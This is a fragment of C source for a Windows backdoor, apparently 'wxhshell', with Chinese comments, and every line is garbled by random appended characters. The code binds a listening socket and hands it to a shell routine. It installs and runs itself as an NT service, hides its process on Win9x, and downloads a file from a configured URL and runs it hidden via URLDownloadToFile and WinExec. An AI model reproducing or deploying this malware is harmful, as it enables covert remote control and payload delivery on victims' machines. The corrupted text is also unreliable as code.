DWORD AffinityMask; C{-pVuhK+
DWORD BasePriority; $fKWB5p|()
ULONG UniqueProcessId; q$P"o].EK
ULONG InheritedFromUniqueProcessId; B!0[LlF+
} PROCESS_BASIC_INFORMATION; ^.Q),{%Xo
uJizR
F
PROCNTQSIP NtQueryInformationProcess; y5I7pbe
y- YYDEl
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; sQw-#f7t
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Sk-Ti\
E_P]f%
HANDLE hProcess; BKk*<WMD
PROCESS_BASIC_INFORMATION pbi; $8)/4P?OL
O{PRK5 ^h
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gTT-7
if(NULL == hInst ) return 0; _>.%X45xi
_"n4SXhq
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); SWt"QqBU
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); iBCM?RiG
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O7W}Z1G
i~4Kek6,I
if (!NtQueryInformationProcess) return 0; <[Vr(.A
D c^d$gh
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O`eNuQSv
if(!hProcess) return 0; QnqX/vnR
,=FYf|Z
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U
w)1yzX
^VQiq7 xm
CloseHandle(hProcess); D~<GVp5T
h W-[omr0
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P VPwYmte
if(hProcess==NULL) return 0; ;Zw28!#Rt
EpiagCS
HMODULE hMod; xnArYm
char procName[255]; /cg!Ap5
unsigned long cbNeeded; /Wa+mp
V:lDR20*\
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2:]Sy4K{
0o#lB^e;l
CloseHandle(hProcess); wGB'c's*
+CACs7tV
if(strstr(procName,"services")) return 1; // 以服务启动 <rkF2 -K,
D^pAf/ek@i
return 0; // 注册表启动 Q{%ow:;s*
} (mzyA%;W
;,<s'5icyg
// 主模块 TZ/u"' ZS
int StartWxhshell(LPSTR lpCmdLine) up`6IWlLE
{ pG
(8VteH
SOCKET wsl; h0GXN\xI
BOOL val=TRUE; hAY_dM
int port=0; N7NK1<vw2
struct sockaddr_in door;
zd}"8
(Lc%G~{
if(wscfg.ws_autoins) Install(); F$caKWzny5
__a9}m4i7x
port=atoi(lpCmdLine); 7':|f "
aW"BN 5eM>
if(port<=0) port=wscfg.ws_port; F/&&VSv>LO
v>,XJ 7P
WSADATA data; G#csN&|,
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -v]7}[
.[
Q>|<R[.7
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; se?nx7~
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ay{4R
door.sin_family = AF_INET; 'rSM6j
door.sin_addr.s_addr = inet_addr("127.0.0.1"); F:n7yey
door.sin_port = htons(port); 3o1j l2n
!$O +M#
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {
5!wa\)wY
closesocket(wsl); 1PWDK1GI8
return 1; Z*k}I{0,-
} J~~WV<6
Alrk3I3{
if(listen(wsl,2) == INVALID_SOCKET) { zfS`@{;F`|
closesocket(wsl); gG#M-2P
return 1; I!{5*~ 3
} |'Jz(dv[
Wxhshell(wsl); 4kIy4x'*
WSACleanup(); j_k!9"bt
DlaA-i]l
return 0; lK{h%2A\b
NpSS/rd $
} [z/OY&kF
EayZ*e]
// 以NT服务方式启动 wz'D4B
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rUlXx5f
{ ?(E$|A
DWORD status = 0; d5h:py5
DWORD specificError = 0xfffffff; 5Ba eHzI
SlmgFk!r!
serviceStatus.dwServiceType = SERVICE_WIN32; Z5v\[i@H!
serviceStatus.dwCurrentState = SERVICE_START_PENDING; SoCa_9*X
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;XANITV
serviceStatus.dwWin32ExitCode = 0; b8Y-!]F
serviceStatus.dwServiceSpecificExitCode = 0; l@':mX3xd
serviceStatus.dwCheckPoint = 0; 59GS:
serviceStatus.dwWaitHint = 0; Z[ys>\_To
=ove#3
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /op8]y
if (hServiceStatusHandle==0) return; E<0Y;tR
"Ln)v
status = GetLastError(); %?K'egkp
if (status!=NO_ERROR) <5=^s%H
{ gd2cwnP
serviceStatus.dwCurrentState = SERVICE_STOPPED; K1jE_]@Z
serviceStatus.dwCheckPoint = 0; L,BuzU[1S
serviceStatus.dwWaitHint = 0; &S/KR$^ %
serviceStatus.dwWin32ExitCode = status; h^cM#L^B
serviceStatus.dwServiceSpecificExitCode = specificError; m$ "B=b2
SetServiceStatus(hServiceStatusHandle, &serviceStatus); \:8
>@Q
return; m#ID%[hg$
} $vx]\`
^
L~>pSP^a
serviceStatus.dwCurrentState = SERVICE_RUNNING; wgY:W:y'N
serviceStatus.dwCheckPoint = 0; ttgb"Wb%S
serviceStatus.dwWaitHint = 0; ]e!9{\X,*
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y'0H2B8
} dxsPX=\:
|%Pd*yZA
// 处理NT服务事件,比如:启动、停止 CnN PziB
VOID WINAPI NTServiceHandler(DWORD fdwControl)
~8Z)e7j
{ `C$.
switch(fdwControl) !2=<MO
{ n' &:c}zKO
case SERVICE_CONTROL_STOP: h<JV6h :8
serviceStatus.dwWin32ExitCode = 0; &Yb!j
serviceStatus.dwCurrentState = SERVICE_STOPPED; }Dp/K4
serviceStatus.dwCheckPoint = 0; 'Y`or14E
serviceStatus.dwWaitHint = 0; M]
7#
{ 'b~,/lZd
SetServiceStatus(hServiceStatusHandle, &serviceStatus); T'!7jgk{:
} az/NZlJhT
return; HW"@~-\
case SERVICE_CONTROL_PAUSE: +K {J*
n
serviceStatus.dwCurrentState = SERVICE_PAUSED; {%gMA?b|"
break; zb.dVK`7N-
case SERVICE_CONTROL_CONTINUE: d#NG]V/
serviceStatus.dwCurrentState = SERVICE_RUNNING; G*^4+^Vz?
break; GUSEbIz):
case SERVICE_CONTROL_INTERROGATE: )H8Rfn?
break; Dn~c
}; yH/m@#
SetServiceStatus(hServiceStatusHandle, &serviceStatus); _TEjB:9eY
} m7!Mstu
n3y`='D
// 标准应用程序主函数 6fY-DqF!
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @Jr:+|v3B
{ MfNsor
SJ8Ax_9{q
// 获取操作系统版本 ~Z-o2+xA
OsIsNt=GetOsVer(); "n'kv!?\
GetModuleFileName(NULL,ExeFile,MAX_PATH); }LeizbU
m9M#)<@*
// 从命令行安装 P:KS*lOp
if(strpbrk(lpCmdLine,"iI")) Install(); 4MUN1/DId`
stQRl_('
// 下载执行文件 %W`
}
if(wscfg.ws_downexe) { e*)*__$O
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =Z}$X:
$
WinExec(wscfg.ws_filenam,SW_HIDE); j]P'xrWl]8
} (X zy~l<
<x-7MU&
if(!OsIsNt) { /0 CS2mLC
// 如果时win9x,隐藏进程并且设置为注册表启动 *!NxtB!LC
HideProc(); TMJq-u51
StartWxhshell(lpCmdLine); W-D{cU
} gv\WI4"n
else ur\<NApT;
if(StartFromService()) m55|&Ux|
// 以服务方式启动 6--t6>5
StartServiceCtrlDispatcher(DispatchTable); \w#)uYK{i_
else G{CKb{
// 普通方式启动 TsVU^Z%W
StartWxhshell(lpCmdLine); ?te~[_oT
Gn&=<q:H
return 0; [8jIu&tJf
}